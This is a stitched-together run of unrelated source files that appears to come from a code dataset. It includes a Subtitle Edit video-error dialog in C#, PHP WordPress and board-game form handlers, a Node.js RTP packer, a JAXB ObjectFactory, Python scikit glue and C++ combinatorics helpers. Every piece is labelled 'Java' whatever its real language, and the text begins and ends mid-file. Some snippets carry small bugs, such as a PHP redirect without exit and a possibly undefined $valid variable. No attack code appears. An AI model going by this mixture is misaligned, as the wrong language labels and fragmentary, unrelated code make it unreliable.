UiUtil.FixFonts(this);
UiUtil.FixLargeFonts(this, buttonCancel);
}
public void Initialize(string fileName, Exception exception)
{
var sb = new StringBuilder();
sb.AppendLine("There seems to be missing a codec (or file is not a valid video/audio file)!");
sb.AppendLine();
var currentVideoPlayer = Configuration.Settings.General.VideoPlayer;
var isLibMpvInstalled = LibMpvDynamic.IsInstalled;
if (currentVideoPlayer == "MPV" && !isLibMpvInstalled)
{
currentVideoPlayer = "DirectShow";
}
if (currentVideoPlayer == "VLC" && !LibVlcDynamic.IsInstalled)
{
currentVideoPlayer = "DirectShow";
}
if (Configuration.IsRunningOnLinux)
{
sb.AppendLine("Try installing latest version of libmpv and libvlc!");
sb.Append("Read more about Subtitle Edit on Linux here: https://nikse.dk/SubtitleEdit/Help#linux");
}
else if (currentVideoPlayer == "DirectShow")
{
sb.AppendLine("Try installing/updating \"LAV Filters - DirectShow Media Splitter and Decoders\": https://github.com/Nevcairiel/LAVFilters/releases");
sb.Append("Note that Subtitle Edit is a " + IntPtr.Size * 8 + "-bit program, and hence requires " + IntPtr.Size * 8 + "-bit codecs!");
sb.AppendLine();
}
else if (currentVideoPlayer == "VLC")
{
sb.AppendLine("VLC media player was unable to play this file (perhaps it's not a valid video/audio file) - you can change video player via Options -> Settings -> Video Player");
sb.AppendLine("Latest version of VLC is available here: http://www.videolan.org/vlc/ (get the " + IntPtr.Size * 8 + "-bit version!)");
sb.AppendLine();
}
else if (currentVideoPlayer == "MPV" && Configuration.IsRunningOnWindows)
{
sb.AppendLine("You can re-download mpv or change video player via Options -> Settings -> Video Player");
sb.AppendLine();
}
richTextBoxMessage.Text = sb.ToString();
if (!Configuration.IsRunningOnWindows || currentVideoPlayer == "MPV")
{
buttonMpvSettings.Visible = false;
labelMpvInfo.Visible = false;
}
else if (currentVideoPlayer != "MPV")
{
labelMpvInfo.Text = $"You could also switch video player from \"{currentVideoPlayer}\" to \"mpv\".";
if (isLibMpvInstalled)
{
buttonMpvSettings.Text = "Use \"mpv\" as video player";
}
}
if (exception != null)
{
var source = string.Empty;
if (!string.IsNullOrEmpty(exception.Source))
{
source = "Source: " + exception.Source.Trim() + Environment.NewLine + Environment.NewLine;
}
textBoxError.Text = "Message: " + exception.Message.Trim() + Environment.NewLine +
source +
"Stack Trace: " + Environment.NewLine +
exception.StackTrace.Trim();
}
Text += fileName;
}
private void VideoError_KeyDown(object sender, KeyEventArgs e)
{
if (e.KeyCode == Keys.Escape)
{
DialogResult = DialogResult.Cancel;
}
}
private void richTextBoxMessage_LinkClicked(object sender, LinkClickedEventArgs e)
{
UiUtil.OpenUrl(e.LinkText);
}
private void buttonMpvSettings_Click(object sender, EventArgs e)
{
if (LibMpvDynamic.IsInstalled)
{
Configuration.Settings.General.VideoPlayer = "MPV";
DialogResult = DialogResult.OK;
return;
}
using (var form = new SettingsMpv(true))
{
if (form.ShowDialog(this) == DialogResult.OK)
{
Configuration.Settings.General.VideoPlayer = "MPV";
DialogResult = DialogResult.OK;
}
}
}
}
}
| Java |
var __v=[
{
"Id": 3568,
"Panel": 1763,
"Name": "紋理動畫",
"Sort": 0,
"Str": ""
},
{
"Id": 3569,
"Panel": 1763,
"Name": "相關API",
"Sort": 0,
"Str": ""
},
{
"Id": 3570,
"Panel": 1763,
"Name": "Example",
"Sort": 0,
"Str": ""
}
] | Java |
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<!-- NewPage -->
<html lang="fr">
<head>
<!-- Generated by javadoc (version 1.7.0_25) on Mon Dec 09 13:16:02 CET 2013 -->
<title>m0.main</title>
<meta name="date" content="2013-12-09">
<link rel="stylesheet" type="text/css" href="../../stylesheet.css" title="Style">
</head>
<body>
<h1 class="bar"><a href="../../m0/main/package-summary.html" target="classFrame">m0.main</a></h1>
<div class="indexContainer">
<h2 title="Interfaces">Interfaces</h2>
<ul title="Interfaces">
<li><a href="IRemoteConfiguration.html" title="interface in m0.main" target="classFrame"><i>IRemoteConfiguration</i></a></li>
</ul>
<h2 title="Classes">Classes</h2>
<ul title="Classes">
<li><a href="ClientLauncher.html" title="class in m0.main" target="classFrame">ClientLauncher</a></li>
<li><a href="RemoteConfiguration.html" title="class in m0.main" target="classFrame">RemoteConfiguration</a></li>
<li><a href="ServerLauncher.html" title="class in m0.main" target="classFrame">ServerLauncher</a></li>
</ul>
</div>
</body>
</html>
| Java |
/* Zik2ctl
* Copyright (C) 2015 Aurélien Zanelli <aurelien.zanelli@darkosphere.fr>
*
* Zik2ctl is free software: you can redistribute it and/or modify
* it under the terms of the GNU Lesser General Public License as published by
* the Free Software Foundation, either version 3 of the License, or
* (at your option) any later version.
*
* Zik2ctl is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU Lesser General Public License for more details.
*
* You should have received a copy of the GNU Lesser General Public License
* along with Zik2ctl. If not, see <http://www.gnu.org/licenses/>.
*/
#ifndef ZIK_API_H
#define ZIK_API_H
/* Audio */
#define ZIK_API_AUDIO_EQUALIZER_ENABLED_PATH "/api/audio/equalizer/enabled"
#define ZIK_API_AUDIO_NOISE_PATH "/api/audio/noise"
#define ZIK_API_AUDIO_NOISE_CONTROL_PATH "/api/audio/noise_control"
#define ZIK_API_AUDIO_NOISE_CONTROL_ENABLED_PATH "/api/audio/noise_control/enabled"
#define ZIK_API_AUDIO_NOISE_CONTROL_AUTO_NC_PATH "/api/audio/noise_control/auto_nc"
#define ZIK_API_AUDIO_NOISE_CONTROL_PHONE_MODE_PATH "/api/audio/noise_control/phone_mode"
#define ZIK_API_AUDIO_PRESET_BYPASS_PATH "/api/audio/preset/bypass"
#define ZIK_API_AUDIO_PRESET_CURRENT_PATH "/api/audio/preset/current"
#define ZIK_API_AUDIO_SMART_AUDIO_TUNE_PATH "/api/audio/smart_audio_tune"
#define ZIK_API_AUDIO_SOUND_EFFECT_PATH "/api/audio/sound_effect"
#define ZIK_API_AUDIO_SOUND_EFFECT_ENABLED_PATH "/api/audio/sound_effect/enabled"
#define ZIK_API_AUDIO_SOUND_EFFECT_ROOM_SIZE_PATH "/api/audio/sound_effect/room_size"
#define ZIK_API_AUDIO_SOUND_EFFECT_ANGLE_PATH "/api/audio/sound_effect/angle"
#define ZIK_API_AUDIO_SOURCE_PATH "/api/audio/source"
#define ZIK_API_AUDIO_THUMB_EQUALIZER_VALUE_PATH "/api/audio/thumb_equalizer/value"
#define ZIK_API_AUDIO_TRACK_METADATA_PATH "/api/audio/track/metadata"
#define ZIK_API_AUDIO_VOLUME_PATH "/api/audio/volume"
/* Bluetooth */
#define ZIK_API_BLUETOOTH_FRIENDLY_NAME_PATH "/api/bluetooth/friendlyname"
/* Software */
#define ZIK_API_SOFTWARE_VERSION_PATH "/api/software/version"
#define ZIK_API_SOFTWARE_TTS_PATH "/api/software/tts"
/* System */
#define ZIK_API_SYSTEM_ANC_PHONE_MODE_ENABLED_PATH "/api/system/anc_phone_mode/enabled"
#define ZIK_API_SYSTEM_AUTO_CONNECTION_ENABLED_PATH "/api/system/auto_connection/enabled"
#define ZIK_API_SYSTEM_BATTERY_PATH "/api/system/battery"
#define ZIK_API_SYSTEM_BATTERY_FORECAST_PATH "/api/system/battery/forecast"
#define ZIK_API_SYSTEM_COLOR_PATH "/api/system/color"
#define ZIK_API_SYSTEM_DEVICE_TYPE_PATH "/api/system/device_type"
#define ZIK_API_SYSTEM_FLIGHT_MODE_PATH "/api/flight_mode"
#define ZIK_API_SYSTEM_HEAD_DETECTION_ENABLED_PATH "/api/system/head_detection/enabled"
#define ZIK_API_SYSTEM_PI_PATH "/api/system/pi"
#define ZIK_API_SYSTEM_AUTO_POWER_OFF_PATH "/api/system/auto_power_off"
/* Other */
#define ZIK_API_FLIGHT_MODE_PATH "/api/flight_mode"
#endif
| Java |
<?php
class WP_Gist {
/* Properties
---------------------------------------------------------------------------------- */
/**
* Instance of the class.
*
* @var WP_Gist
*/
protected static $instance = null;
/**
* Class slug.
*
* @var string
*/
protected $slug = 'wp-gist';
/**
* Class version.
*
* Used for cache-busting of style and script file references.
*/
protected $version = '3.1.0';
/* Public
---------------------------------------------------------------------------------- */
/**
* Gets instance of class.
*
* @return WP_Gist Instance of the class.
*/
public static function get_instance() {
if ( null == self::$instance ) {
self::$instance = new self;
}
return self::$instance;
}
/**
* Gets slug.
*
* @return string Slug.
*/
public function get_slug() {
return $this->slug;
}
/**
* Gets version.
*
* @return string Version.
*/
public function get_version() {
return $this->version;
}
}
| Java |
adafruit_lcd_menu
=================
a menu system to control the raspberry py with the adafruit lcd plate
| Java |
<?php
// Clear variables
$boardGameError = "";
$boardGameAvailable = "";
// Get the playerID, if null return user to the available page
$playerID = null;
if (!empty($_GET['playerID']))
{
$playerID = $_REQUEST['playerID'];
}
if ( null==$playerID )
{
header("Location: ../available.php");
}
if ($_SERVER["REQUEST_METHOD"] == "POST")
{
$valid = true;
if (empty($_POST["boardGameAvailable"]))
{
$boardGameError = "Board game name is required";
$valid = false;
}
else
{
$boardGameAvailable = validate_input($_POST["boardGameAvailable"]);
// Check if first name only contains letters and whitespace
if (!preg_match("/^[a-zA-Z ]*$/",$boardGameAvailable))
{
$boardGameError = "Only letters and white space allowed";
$valid = false;
}
}
}
// The database will only be connected to if PHP deems that the input is valid
// Connect to DB and add player details
if ($valid)
{
$pdo = Database::connect();
$pdo->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);
$sql = "INSERT INTO gamesavailable (boardGameAvailable, playerID) values(?, ?)";
$q = $pdo->prepare($sql);
$q->execute(array($boardGameAvailable, $playerID));
Database::disconnect();
header("Location: ../available.php");
}
// Validate and return input
function validate_input($data)
{
$data = trim($data);
$data = stripslashes($data);
$data = htmlspecialchars($data);
return $data;
}
?>
| Java |
var events = require('events'),
koanize = require('koanizer'),
util = require('util');
koanize(this);
// Standard and RFC set these values
var REFERENCE_CLOCK_FREQUENCY = 90000;
// RTP packet constants and masks
var RTP_HEADER_SIZE = 12;
var RTP_FRAGMENTATION_HEADER_SIZE = 4;
var SAMPLES_PER_FRAME = 1152; // ISO 11172-3
var SAMPLING_FREQUENCY = 44100;
var TIMESTAMP_DELTA = Math.floor(SAMPLES_PER_FRAME * REFERENCE_CLOCK_FREQUENCY / SAMPLING_FREQUENCY);
var SECONDS_PER_FRAME = SAMPLES_PER_FRAME / SAMPLING_FREQUENCY;
var RTPProtocol = function(){
events.EventEmitter.call(this);
this.setMarker = false;
this.ssrc = Math.floor(Math.random() * 100000);
this.seqNum = Math.floor(Math.random() * 1000);
this.timestamp = Math.floor(Math.random() * 1000);
};
util.inherits(RTPProtocol, events.EventEmitter);
RTPProtocol.prototype.pack = function(payload){
++this.seqNum;
// RFC3550 says it must increase by the number of samples
// sent in a block in case of CBR audio streaming
this.timestamp += TIMESTAMP_DELTA;
if (!payload) {
// Tried to send a packet, but packet was not ready.
// Timestamp and Sequence Number should be increased
// anyway 'cause interval callback was called and
// that's like sending silence
this.setMarker = true;
return;
}
var RTPPacket = new Buffer(RTP_HEADER_SIZE + RTP_FRAGMENTATION_HEADER_SIZE + payload.length);
// version = 2: 10
// padding = 0: 0
// extension = 0: 0
// CRSCCount = 0: 0000
/*
KOAN #1
should write Version, Padding, Extension and Count
*/
RTPPacket.writeUInt8(128, 0);
// Marker = 0: 0
// RFC 1890: RTP Profile for Audio and Video Conferences with Minimal Control
// Payload = 14: (MPEG Audio Only) 0001110
RTPPacket.writeUInt8(this.setMarker? 142 : 14, 1);
this.setMarker = false;
// SequenceNumber
/*
KOAN #2
should write Sequence Number
*/
RTPPacket.writeUInt16BE(this.seqNum, 2);
// Timestamp
/*
KOAN #3
should write Timestamp...
*/
RTPPacket.writeUInt32BE(this.timestamp, 4);
// SSRC
/*
KOAN #3
...SSRC and...
*/
RTPPacket.writeUInt32BE(this.ssrc, 8);
// RFC 2250: RTP Payload Format for MPEG1/MPEG2 Video
// 3.5 MPEG Audio-specific header
/*
KOAN #3
...payload Format
*/
RTPPacket.writeUInt32BE(0, 12);
payload.copy(RTPPacket, 16);
this.emit('packet', RTPPacket);
//return RTPPacket;
};
module.exports = exports.RTPProtocol = RTPProtocol;
| Java |
<?php
/**
* @author Pierre-Henry Soria <ph7software@gmail.com>
* @copyright (c) 2012-2015, Pierre-Henry Soria. All Rights Reserved.
* @license GNU General Public License; See PH7.LICENSE.txt and PH7.COPYRIGHT.txt in the root directory.
* @package PH7 / App / System / Module / Affiliate / Controller
*/
namespace PH7;
class HomeController extends Controller
{
private $sTitle;
public function __construct()
{
parent::__construct();
/** Predefined meta_description and keywords tags **/
$this->view->meta_description = t('Become an Affiliate with the affiliate dating community platform %site_name%');
$this->view->meta_keywords = t('affiliate,dating,dating site,social network,pay per click affiliate program, affiliate program');
}
public function index()
{
$this->view->page_title = t('Affiliate Platform with %site_name%! Dating Social Affiliate');
$this->view->h1_title = t('Affiliate Platform - %site_name%');
if (Affiliate::auth())
$this->view->h3_title = t('Hello <em>%0%</em>, welcome to your site!', $this->session->get('affiliate_first_name'));
if (!Affiliate::auth())
$this->design->addCss(PH7_LAYOUT . PH7_SYS . PH7_MOD . $this->registry->module . PH7_SH . PH7_TPL . PH7_TPL_MOD_NAME . PH7_SH . PH7_CSS, 'style.css');
$this->output();
}
public function login()
{
$this->sTitle = t('Login Affiliate');
$this->view->page_title = $this->sTitle;
$this->view->meta_description = $this->sTitle;
$this->view->h1_title = $this->sTitle;
$this->output();
}
public function resendActivation()
{
$this->sTitle = t('Resend activation email');
$this->view->page_title = $this->sTitle;
$this->view->h2_title = $this->sTitle;
$this->output();
}
public function logout()
{
(new Affiliate)->logout();
}
}
| Java |
//
// AppDelegate.h
// Pedigree
//
// Created by user on 12.09.13.
// Copyright (c) 2013 user. All rights reserved.
//
#import <UIKit/UIKit.h>
@interface AppDelegate : UIResponder <UIApplicationDelegate>
@property (strong, nonatomic) UIWindow *window;
@end
| Java |
from abc import ABC
import configargparse
from sklearn.externals import joblib
from termcolor import colored
class ScikitBase(ABC):
"""
Base class for AI strategies
"""
arg_parser = configargparse.get_argument_parser()
arg_parser.add('-p', '--pipeline', help='trained model/pipeline (*.pkl file)', required=True)
arg_parser.add('-f', '--feature_names', help='List of features list pipeline (*.pkl file)')
pipeline = None
def __init__(self):
args = self.arg_parser.parse_known_args()[0]
super(ScikitBase, self).__init__()
self.pipeline = self.load_pipeline(args.pipeline)
if args.feature_names:
self.feature_names = self.load_pipeline(args.feature_names)
@staticmethod
def load_pipeline(pipeline_file):
"""
Loads scikit model/pipeline
"""
print(colored('Loading pipeline: ' + pipeline_file, 'green'))
return joblib.load(pipeline_file)
def fetch_pipeline_from_server(self):
"""
Method fetches pipeline from server/cloud
"""
# TODO
pass
def predict(self, df):
"""
Returns predictions based on the model/pipeline
"""
try:
return self.pipeline.predict(df)
except (ValueError, TypeError):
print(colored('Got ValueError while using scikit model.. ', 'red'))
return None
| Java |
package com.octagon.airships.block;
import com.octagon.airships.reference.Reference;
import cpw.mods.fml.relauncher.Side;
import cpw.mods.fml.relauncher.SideOnly;
import net.minecraft.block.Block;
import net.minecraft.block.BlockContainer;
import net.minecraft.block.material.Material;
import net.minecraft.client.renderer.texture.IIconRegister;
public abstract class AirshipsBlock extends Block {
public AirshipsBlock(Material material) {
super(material);
}
public AirshipsBlock() {
this(Material.rock);
}
@Override
public String getUnlocalizedName()
{
return String.format("tile.%s%s", Reference.MOD_ID.toLowerCase() + ":", getUnwrappedUnlocalizedName(super.getUnlocalizedName()));
}
@Override
@SideOnly(Side.CLIENT)
public void registerBlockIcons(IIconRegister iconRegister)
{
blockIcon = iconRegister.registerIcon(String.format("%s", getUnwrappedUnlocalizedName(this.getUnlocalizedName())));
}
protected String getUnwrappedUnlocalizedName(String unlocalizedName)
{
return unlocalizedName.substring(unlocalizedName.indexOf(".") + 1);
}
}
| Java |
#include "simple_form_widget.h"
#include "ui_simple_form_widget.h"
SimpleFormWidget::SimpleFormWidget(QWidget *parent) :
QWidget(parent),
ui(new Ui::SimpleFormWidget)
{
ui->setupUi(this);
}
SimpleFormWidget::~SimpleFormWidget()
{
delete ui;
}
| Java |
package itaf.WsUserTakeDeliveryAddressService;
import javax.xml.bind.JAXBElement;
import javax.xml.bind.annotation.XmlElementDecl;
import javax.xml.bind.annotation.XmlRegistry;
import javax.xml.namespace.QName;
/**
* This object contains factory methods for each
* Java content interface and Java element interface
* generated in the itaf.WsUserTakeDeliveryAddressService package.
* <p>An ObjectFactory allows you to programatically
* construct new instances of the Java representation
* for XML content. The Java representation of XML
* content can consist of schema derived interfaces
* and classes representing the binding of schema
* type definitions, element declarations and model
* groups. Factory methods for each of these are
* provided in this class.
*
*/
@XmlRegistry
public class ObjectFactory {
private static final QName _DeleteByIdResponse_QNAME = new QName("itaf.framework.ws.server.consumer", "deleteByIdResponse");
private static final QName _GetById_QNAME = new QName("itaf.framework.ws.server.consumer", "getById");
private static final QName _SaveOrUpdateResponse_QNAME = new QName("itaf.framework.ws.server.consumer", "saveOrUpdateResponse");
private static final QName _FindListByUserIdResponse_QNAME = new QName("itaf.framework.ws.server.consumer", "findListByUserIdResponse");
private static final QName _GetByIdResponse_QNAME = new QName("itaf.framework.ws.server.consumer", "getByIdResponse");
private static final QName _FindListByUserId_QNAME = new QName("itaf.framework.ws.server.consumer", "findListByUserId");
private static final QName _DeleteById_QNAME = new QName("itaf.framework.ws.server.consumer", "deleteById");
private static final QName _SaveOrUpdate_QNAME = new QName("itaf.framework.ws.server.consumer", "saveOrUpdate");
/**
* Create a new ObjectFactory that can be used to create new instances of schema derived classes for package: itaf.WsUserTakeDeliveryAddressService
*
*/
public ObjectFactory() {
}
/**
* Create an instance of {@link FindListByUserId }
*
*/
public FindListByUserId createFindListByUserId() {
return new FindListByUserId();
}
/**
* Create an instance of {@link DeleteById }
*
*/
public DeleteById createDeleteById() {
return new DeleteById();
}
/**
* Create an instance of {@link SaveOrUpdate }
*
*/
public SaveOrUpdate createSaveOrUpdate() {
return new SaveOrUpdate();
}
/**
* Create an instance of {@link SaveOrUpdateResponse }
*
*/
public SaveOrUpdateResponse createSaveOrUpdateResponse() {
return new SaveOrUpdateResponse();
}
/**
* Create an instance of {@link GetById }
*
*/
public GetById createGetById() {
return new GetById();
}
/**
* Create an instance of {@link DeleteByIdResponse }
*
*/
public DeleteByIdResponse createDeleteByIdResponse() {
return new DeleteByIdResponse();
}
/**
* Create an instance of {@link GetByIdResponse }
*
*/
public GetByIdResponse createGetByIdResponse() {
return new GetByIdResponse();
}
/**
* Create an instance of {@link FindListByUserIdResponse }
*
*/
public FindListByUserIdResponse createFindListByUserIdResponse() {
return new FindListByUserIdResponse();
}
/**
* Create an instance of {@link BzInvoiceItemDto }
*
*/
public BzInvoiceItemDto createBzInvoiceItemDto() {
return new BzInvoiceItemDto();
}
/**
* Create an instance of {@link BzServiceProviderTypeDto }
*
*/
public BzServiceProviderTypeDto createBzServiceProviderTypeDto() {
return new BzServiceProviderTypeDto();
}
/**
* Create an instance of {@link SysRoleDto }
*
*/
public SysRoleDto createSysRoleDto() {
return new SysRoleDto();
}
/**
* Create an instance of {@link BzStockOrderDto }
*
*/
public BzStockOrderDto createBzStockOrderDto() {
return new BzStockOrderDto();
}
/**
* Create an instance of {@link BzOrderPaymentDto }
*
*/
public BzOrderPaymentDto createBzOrderPaymentDto() {
return new BzOrderPaymentDto();
}
/**
* Create an instance of {@link WsPageResult }
*
*/
public WsPageResult createWsPageResult() {
return new WsPageResult();
}
/**
* Create an instance of {@link BzUserDeliveryAddressDto }
*
*/
public BzUserDeliveryAddressDto createBzUserDeliveryAddressDto() {
return new BzUserDeliveryAddressDto();
}
/**
* Create an instance of {@link BzProductCategoryDto }
*
*/
public BzProductCategoryDto createBzProductCategoryDto() {
return new BzProductCategoryDto();
}
/**
* Create an instance of {@link BzProductEvaluationDto }
*
*/
public BzProductEvaluationDto createBzProductEvaluationDto() {
return new BzProductEvaluationDto();
}
/**
* Create an instance of {@link BzMerchantCreditEvalDto }
*
*/
public BzMerchantCreditEvalDto createBzMerchantCreditEvalDto() {
return new BzMerchantCreditEvalDto();
}
/**
* Create an instance of {@link BzProductDto }
*
*/
public BzProductDto createBzProductDto() {
return new BzProductDto();
}
/**
* Create an instance of {@link BzMerchantCreditDto }
*
*/
public BzMerchantCreditDto createBzMerchantCreditDto() {
return new BzMerchantCreditDto();
}
/**
* Create an instance of {@link BzOrderDto }
*
*/
public BzOrderDto createBzOrderDto() {
return new BzOrderDto();
}
/**
* Create an instance of {@link BzPaymentTypeDto }
*
*/
public BzPaymentTypeDto createBzPaymentTypeDto() {
return new BzPaymentTypeDto();
}
/**
* Create an instance of {@link BzConsumerCreditEvalDto }
*
*/
public BzConsumerCreditEvalDto createBzConsumerCreditEvalDto() {
return new BzConsumerCreditEvalDto();
}
/**
* Create an instance of {@link BzInvoiceDto }
*
*/
public BzInvoiceDto createBzInvoiceDto() {
return new BzInvoiceDto();
}
/**
* Create an instance of {@link SysUserDto }
*
*/
public SysUserDto createSysUserDto() {
return new SysUserDto();
}
/**
* Create an instance of {@link BzProductFavoriteDto }
*
*/
public BzProductFavoriteDto createBzProductFavoriteDto() {
return new BzProductFavoriteDto();
}
/**
* Create an instance of {@link BzPositionDto }
*
*/
public BzPositionDto createBzPositionDto() {
return new BzPositionDto();
}
/**
* Create an instance of {@link BzStockDto }
*
*/
public BzStockDto createBzStockDto() {
return new BzStockDto();
}
/**
* Create an instance of {@link BzDistComCreditDto }
*
*/
public BzDistComCreditDto createBzDistComCreditDto() {
return new BzDistComCreditDto();
}
/**
* Create an instance of {@link BzCollectionOrderDto }
*
*/
public BzCollectionOrderDto createBzCollectionOrderDto() {
return new BzCollectionOrderDto();
}
/**
* Create an instance of {@link BzStockOrderItemDto }
*
*/
public BzStockOrderItemDto createBzStockOrderItemDto() {
return new BzStockOrderItemDto();
}
/**
* Create an instance of {@link BzDistributionModelDto }
*
*/
public BzDistributionModelDto createBzDistributionModelDto() {
return new BzDistributionModelDto();
}
/**
* Create an instance of {@link BzMerchantDto }
*
*/
public BzMerchantDto createBzMerchantDto() {
return new BzMerchantDto();
}
/**
* Create an instance of {@link TrProductStockIdDto }
*
*/
public TrProductStockIdDto createTrProductStockIdDto() {
return new TrProductStockIdDto();
}
/**
* Create an instance of {@link BzOrderItemDto }
*
*/
public BzOrderItemDto createBzOrderItemDto() {
return new BzOrderItemDto();
}
/**
* Create an instance of {@link BzShelfDto }
*
*/
public BzShelfDto createBzShelfDto() {
return new BzShelfDto();
}
/**
* Create an instance of {@link BzCartItemDto }
*
*/
public BzCartItemDto createBzCartItemDto() {
return new BzCartItemDto();
}
/**
* Create an instance of {@link SysResourceDto }
*
*/
public SysResourceDto createSysResourceDto() {
return new SysResourceDto();
}
/**
* Create an instance of {@link BzDistributionOrderDto }
*
*/
public BzDistributionOrderDto createBzDistributionOrderDto() {
return new BzDistributionOrderDto();
}
/**
* Create an instance of {@link BzOrderHistoryDto }
*
*/
public BzOrderHistoryDto createBzOrderHistoryDto() {
return new BzOrderHistoryDto();
}
/**
* Create an instance of {@link BzProductBrandDto }
*
*/
public BzProductBrandDto createBzProductBrandDto() {
return new BzProductBrandDto();
}
/**
* Create an instance of {@link BzProductAttachmentDto }
*
*/
public BzProductAttachmentDto createBzProductAttachmentDto() {
return new BzProductAttachmentDto();
}
/**
* Create an instance of {@link BzDistributionCompanyDto }
*
*/
public BzDistributionCompanyDto createBzDistributionCompanyDto() {
return new BzDistributionCompanyDto();
}
/**
* Create an instance of {@link BzConsumerCreditDto }
*
*/
public BzConsumerCreditDto createBzConsumerCreditDto() {
return new BzConsumerCreditDto();
}
/**
* Create an instance of {@link BzUserPositionDto }
*
*/
public BzUserPositionDto createBzUserPositionDto() {
return new BzUserPositionDto();
}
/**
* Create an instance of {@link BzUserTakeDeliveryAddressDto }
*
*/
public BzUserTakeDeliveryAddressDto createBzUserTakeDeliveryAddressDto() {
return new BzUserTakeDeliveryAddressDto();
}
/**
* Create an instance of {@link TrProductStockDto }
*
*/
public TrProductStockDto createTrProductStockDto() {
return new TrProductStockDto();
}
/**
* Create an instance of {@link BzDistComCreditEvalDto }
*
*/
public BzDistComCreditEvalDto createBzDistComCreditEvalDto() {
return new BzDistComCreditEvalDto();
}
/**
* Create an instance of {@link JAXBElement }{@code <}{@link DeleteByIdResponse }{@code >}}
*
*/
@XmlElementDecl(namespace = "itaf.framework.ws.server.consumer", name = "deleteByIdResponse")
public JAXBElement<DeleteByIdResponse> createDeleteByIdResponse(DeleteByIdResponse value) {
return new JAXBElement<DeleteByIdResponse>(_DeleteByIdResponse_QNAME, DeleteByIdResponse.class, null, value);
}
/**
* Create an instance of {@link JAXBElement }{@code <}{@link GetById }{@code >}}
*
*/
@XmlElementDecl(namespace = "itaf.framework.ws.server.consumer", name = "getById")
public JAXBElement<GetById> createGetById(GetById value) {
return new JAXBElement<GetById>(_GetById_QNAME, GetById.class, null, value);
}
/**
* Create an instance of {@link JAXBElement }{@code <}{@link SaveOrUpdateResponse }{@code >}}
*
*/
@XmlElementDecl(namespace = "itaf.framework.ws.server.consumer", name = "saveOrUpdateResponse")
public JAXBElement<SaveOrUpdateResponse> createSaveOrUpdateResponse(SaveOrUpdateResponse value) {
return new JAXBElement<SaveOrUpdateResponse>(_SaveOrUpdateResponse_QNAME, SaveOrUpdateResponse.class, null, value);
}
/**
* Create an instance of {@link JAXBElement }{@code <}{@link FindListByUserIdResponse }{@code >}}
*
*/
@XmlElementDecl(namespace = "itaf.framework.ws.server.consumer", name = "findListByUserIdResponse")
public JAXBElement<FindListByUserIdResponse> createFindListByUserIdResponse(FindListByUserIdResponse value) {
return new JAXBElement<FindListByUserIdResponse>(_FindListByUserIdResponse_QNAME, FindListByUserIdResponse.class, null, value);
}
/**
* Create an instance of {@link JAXBElement }{@code <}{@link GetByIdResponse }{@code >}}
*
*/
@XmlElementDecl(namespace = "itaf.framework.ws.server.consumer", name = "getByIdResponse")
public JAXBElement<GetByIdResponse> createGetByIdResponse(GetByIdResponse value) {
return new JAXBElement<GetByIdResponse>(_GetByIdResponse_QNAME, GetByIdResponse.class, null, value);
}
/**
* Create an instance of {@link JAXBElement }{@code <}{@link FindListByUserId }{@code >}}
*
*/
@XmlElementDecl(namespace = "itaf.framework.ws.server.consumer", name = "findListByUserId")
public JAXBElement<FindListByUserId> createFindListByUserId(FindListByUserId value) {
return new JAXBElement<FindListByUserId>(_FindListByUserId_QNAME, FindListByUserId.class, null, value);
}
/**
* Create an instance of {@link JAXBElement }{@code <}{@link DeleteById }{@code >}}
*
*/
@XmlElementDecl(namespace = "itaf.framework.ws.server.consumer", name = "deleteById")
public JAXBElement<DeleteById> createDeleteById(DeleteById value) {
return new JAXBElement<DeleteById>(_DeleteById_QNAME, DeleteById.class, null, value);
}
/**
* Create an instance of {@link JAXBElement }{@code <}{@link SaveOrUpdate }{@code >}}
*
*/
@XmlElementDecl(namespace = "itaf.framework.ws.server.consumer", name = "saveOrUpdate")
public JAXBElement<SaveOrUpdate> createSaveOrUpdate(SaveOrUpdate value) {
return new JAXBElement<SaveOrUpdate>(_SaveOrUpdate_QNAME, SaveOrUpdate.class, null, value);
}
}
| Java |
<?php
###############################
# include files from root dir #
###############################
$root_1 = realpath($_SERVER["DOCUMENT_ROOT"]);
$currentdir = getcwd();
$root_2 = str_replace($root_1, '', $currentdir);
$root_3 = explode("/", $root_2);
if ($root_3[1] == 'core') {
echo $root_3[1];
$root = realpath($_SERVER["DOCUMENT_ROOT"]);
}else{
$root = $root_1 . '/' . $root_3[1];
}
$login_module = "modul_g-plus-login";//need to get extra config for modules
include($root.'/core/backend/admin/modules/'.$login_module. '/index.php');
?> | Java |
#ifndef __MAIN_HPP__
#define __MAIN_HPP__
#include <iostream>
#include <unistd.h>
#include <string>
#include <vector>
#include <stdint.h> // Para usar uint64_t
#include "hanoi.hpp"
#include "statistical.hpp"
#include "ClaseTiempo.hpp"
#define cls() system("clear");
long long combinatorio_iterativo(const int &n,const int &k){
long double fact_n = 1, fact_k = 1, fact_nk = 1;
for( long double i = 2 ; i <= n ; ++i )
fact_n *= i;
for( long double i = 2 ; i <= k ; ++i )
fact_k *= i;
for( long double i = 2 ; i <= (n-k) ; ++i )
fact_nk *= i;
return fact_n/fact_k/fact_nk;
}
long long combinatorio_recursivo(const int &n, const int &k){
if(k == 0 || k == n){
return 1;
}
return combinatorio_recursivo(n-1, k-1) + combinatorio_recursivo(n-1, k);
}
long long combinatorio_recursivo_2(const int &n, const int &k, std::vector<std::vector< long long > > &aux){
int a;
if(k == 0 || k == n)
return 1;
if( aux[n-1][k-1] != -1 ){
a = aux[n-1][k-1];
}
else{
a = combinatorio_recursivo_2(n-1, k-1, aux) + combinatorio_recursivo_2(n-1, k, aux);
aux[n-1][k-1] = a;
}
return a;
}
/**
* @brief Cabecera que se mostrará durante la ejecución del programa.
*/
void cabecera(){
cls();
std::cout << "\e[1;92m###############################" << std::endl;
std::cout << "###############################" << std::endl;
std::cout << "#### ####" << std::endl;
std::cout << "#### \e[96mPrograma\e[92m ####" << std::endl;
std::cout << "#### ####" << std::endl;
std::cout << "###############################" << std::endl;
std::cout << "###############################\e[0m" << std::endl << std::endl;
}
/**
* @brief Mensaje que se muestra al final de cada opción del menú.
* @note En la función aplicarFloyd() se llama también para dar paso al submenú.
* @param count Número de veces a ejecutar std::cin.ignore()
* @param mensaje Mensaje a mostar. Por defecto mostrará: "Presiona ENTER para volver al menú."
*/
void volver(const int &count = 2, const std::string &mensaje="Presiona ENTER para volver al menú."){
std::cout << std::endl << mensaje;
